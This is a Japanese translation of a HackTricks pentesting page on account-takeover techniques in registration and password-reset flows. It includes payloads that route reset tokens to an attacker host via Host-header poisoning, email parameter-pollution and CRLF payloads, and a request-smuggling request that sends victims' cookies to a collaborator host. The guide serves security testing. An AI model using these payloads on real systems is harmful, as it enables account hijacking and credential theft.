12 KiB
登録と乗っ取りの脆弱性
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTコレクションを見つける
- Discordグループに参加💬(https://discord.gg/hRep4RUj7f)またはtelegramグループに参加するか、Twitter🐦でフォローする@carlospolopm。
- ハッキングテクニックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
WhiteIntel
WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかを確認する無料の機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
登録の乗っ取り
重複登録
- 既存のユーザー名を使用して生成を試みる
- メールアドレスを変更して確認する:
- 大文字
- +1@
- メールにいくつかのドットを追加
- メール名に特殊文字(%00、%09、%20)
- メールの後に黒い文字を入れる:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
ユーザー名の列挙
ユーザー名がアプリケーション内で既に登録されているかどうかを確認します。
パスワードポリシー
ユーザーを作成するときにパスワードポリシーを確認します(弱いパスワードを使用できるかどうかを確認します)。
その場合、資格情報をブルートフォースで試すことができます。
SQLインジェクション
このページをチェックして、登録フォームでSQLインジェクションを使用してアカウント乗っ取りを試みる方法や情報を抽出する方法を学びます。
Oauth乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML脆弱性
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
メールアドレスの変更
登録後、メールアドレスを変更して、この変更が正しく検証されるか、または任意のメールアドレスに変更できるかを確認します。
その他のチェック
- 使い捨てメールを使用できるかどうかを確認する
- 長い パスワード(>200)はDoSにつながる
- アカウント作成のレート制限を確認する
- username@burp_collab.netを使用して、コールバックを分析する
パスワードリセットの乗っ取り
リファラ経由のパスワードリセットトークンの漏洩
- メールアドレスにパスワードリセットをリクエストする
- パスワードリセットリンクをクリックする
- パスワードを変更しない
- 任意の第三者ウェブサイト(例:Facebook、Twitter)をクリックする
- Burp Suiteプロキシでリクエストをインターセプトする
- リファラヘッダーがパスワードリセットトークンを漏洩しているかどうかを確認する。
パスワードリセットポイズニング
- Burp Suiteでパスワードリセットリクエストをインターセプトする
- Burp Suiteで次のヘッダーを追加または編集する:
Host: attacker.com
、X-Forwarded-Host: attacker.com
- 修正されたヘッダーでリクエストを転送する
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- _hostヘッダー_に基づいたパスワードリセットURLを探す:
https://attacker.com/reset-password.php?token=TOKEN
メールパラメータ経由のパスワードリセット
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
APIパラメーターにおけるIDOR
- 攻撃者は自分のアカウントでログインし、パスワード変更 機能に移動します。
- Burp Suiteを起動し、リクエストをインターセプトします。
- それをリピータータブに送信し、パラメーターを編集します:ユーザーID/メール
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
弱いパスワードリセットトークン
パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。
トークンが期限切れかどうか、常に同じかどうかを判断してください。場合によっては、生成アルゴリズムが弱く、推測される可能性があります。次の変数がアルゴリズムに使用されるかもしれません。
- タイムスタンプ
- ユーザーID
- ユーザーのメールアドレス
- 名前と姓
- 生年月日
- 暗号化
- 数字のみ
- 小さなトークンシーケンス([A-Z,a-z,0-9]の文字)
- トークンの再利用
- トークンの有効期限
パスワードリセットトークンの漏洩
- 特定のメール(例:test@mail.com)を使用してAPI/UIを介してパスワードリセットリクエストをトリガーします。
- サーバーの応答を検査し、
resetToken
を確認します。 - 次に、次のようなURLでトークンを使用します:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
ユーザー名の衝突を利用したパスワードリセット
- 犠牲者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白が挿入されています。例:
"admin "
- 悪意のあるユーザー名でパスワードリセットをリクエストします。
- メールに送信されたトークンを使用して、犠牲者のパスワードをリセットします。
- 新しいパスワードで犠牲者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。
参照:CVE-2020-7245
クロスサイトスクリプティングによるアカウント乗っ取り
- アプリケーション内またはクッキーが親ドメインにスコープされている場合のサブドメイン内のXSSを見つけます:
*.domain.com
- 現在のセッションクッキーを漏洩させます。
- クッキーを使用してユーザーとして認証します。
HTTPリクエストスマグリングによるアカウント乗っ取り
- smugglerを使用してHTTPリクエストスマグリングのタイプを検出します(CL、TE、CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\ - 次のデータで
POST / HTTP/1.1
を上書きするリクエストを作成します:
GET http://something.burpcollaborator.net HTTP/1.1 X:
目的は被害者をburpcollabにリダイレクトしてクッキーを盗むことです。\ - 最終リクエストは次のようになります。
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
アカウント乗っ取りのCSRF経由
- CSRF用のペイロードを作成する、例: "パスワード変更のための自動送信付きHTMLフォーム"
- ペイロードを送信する
JWT経由のアカウント乗っ取り
JSON Web Tokenはユーザーを認証するために使用される可能性があります。
- 別のユーザーID / メールでJWTを編集する
- 弱いJWT署名をチェックする
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
参考文献
WhiteIntel
WhiteIntelはダークウェブを活用した検索エンジンで、企業やその顧客が盗聴マルウェアによって侵害されていないかをチェックする無料機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを手に入れる
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。